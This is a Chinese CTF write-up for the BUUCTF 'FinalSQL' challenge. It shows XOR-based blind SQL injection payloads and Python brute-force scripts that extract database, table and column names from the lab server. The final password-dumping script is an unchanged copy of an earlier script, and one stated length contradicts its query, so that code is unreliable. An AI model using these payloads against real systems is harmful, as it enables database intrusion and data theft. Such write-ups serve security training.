Single

[极客大挑战 2019]FinalSQL2 min read

考察了^异或注入。

id=1时提示:

NO! Not this! Click others~~~

id=0(不存在)时提示:

ERROR!!!

触发WAF时提示:

你可别被我逮住了,臭弟弟

id=1^1,因为1^1=0,所以id=0,提示:

ERROR!!!

id=1^0,因为1^0=1,所以id=1,提示:

NO! Not this! Click others~~~

可以根据这个特性,判断后面的注入语句是否正确。经过测试发现mid、union被过滤了,可以考虑这个组合拳:

ascii(x) :只取x中第一位的ascii值,这也可以用ord()函数代替。

substr(string string, int a, int b):把string从a开始进行截取,截取长度为b。

判断当前数据库名长度,等于4时返回“ERROR”,证明是1^1,语句为真:

1^(length(database())=4)

判断数据库第一位的ascii是否大于7,返回“ERROR”,证明是1^1,语句为真:

1^(ord(substr(database(),1,1))>7)

判断数据库第一位的ascii是否大于199,返回“NO! Not this! Click others”,证明是1^0,语句为假:

1^(ord(substr(database(),1,1))>199)

经测试无误,写脚本:

import requests

url1 = r"http://445eea6c-bab6-40fa-bcaf-9c433e48f02f.node3.buuoj.cn/search.php?id=1^(ord(substr(database(),"
url2 = ",1))="
name=""
for i in range(1,5):
    for j in range(23,123):
        url = url1+str(i)+url2+str(j)+")"
        s = requests.get(url).text
        if ("ERROR" in s):
            name += chr(j)
            print(name)
            break

得到库名为geek。继续爆表名,首先判断表名的长度,等于16:

1^((select(length(group_concat(TABLE_NAME)))from(information_schema.tables)where(table_schema="geek"))=16)

爆表:

import requests

url1 = r"http://445eea6c-bab6-40fa-bcaf-9c433e48f02f.node3.buuoj.cn/search.php?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"
url2 = ",1))="
name=""
for i in range(1,17):
    for j in range(23,123):
        url = url1+str(i)+url2+str(j)+")"
        s = requests.get(url).text
        if ("ERROR" in s):
            name += chr(j)
            print(name)
            break

得到两个表名:F1naI1y,Flaaaaag

继续爆列名,首先判断列名的长度,等于11:

1^((select(length(group_concat(COLUMN_NAME)))from(information_schema.columns)where(table_name="Flaaaaag"))=11)

爆列名:

import requests

url1 = r"http://445eea6c-bab6-40fa-bcaf-9c433e48f02f.node3.buuoj.cn/search.php?id=1^(ord(substr((select(group_concat(COLUMN_NAME))from(information_schema.columns)where(table_name='Flaaaaag')),"
url2 = ",1))="
name=""
for i in range(1,12):
    for j in range(23,123):
        url = url1+str(i)+url2+str(j)+")"
        s = requests.get(url).text
        if ("ERROR" in s):
            name += chr(j)
            print(name)
            break

得到两个列名:id,fl4gawsl

爆库没有flag,司🐎了,生气气!!

换另一个表爆列名,首先判断列名的长度,等于11:

1^((select(length(group_concat(COLUMN_NAME)))from(information_schema.columns)where(table_name="F1naI1y"))=20)

继续爆列名:

import requests

url1 = r"http://445eea6c-bab6-40fa-bcaf-9c433e48f02f.node3.buuoj.cn/search.php?id=1^(ord(substr((select(group_concat(COLUMN_NAME))from(information_schema.columns)where(table_name='F1naI1y')),"
url2 = ",1))="
name=""
for i in range(1,21):
    for j in range(23,123):
        url = url1+str(i)+url2+str(j)+")"
        s = requests.get(url).text
        if ("ERROR" in s):
            name += chr(j)
            print(name)
            break

得到:id,username,password

爆值,长度为213:

1^((select(length(group_concat(password)))from(F1naI1y))=213)
import requests

url1 = r"http://445eea6c-bab6-40fa-bcaf-9c433e48f02f.node3.buuoj.cn/search.php?id=1^(ord(substr((select(group_concat(COLUMN_NAME))from(information_schema.columns)where(table_name='F1naI1y')),"
url2 = ",1))="
name=""
for i in range(1,21):
    for j in range(23,123):
        url = url1+str(i)+url2+str(j)+")"
        s = requests.get(url).text
        if ("ERROR" in s):
            name += chr(j)
            print(name)
            break

懒得搞多线程。。干点别的事flag出来惹。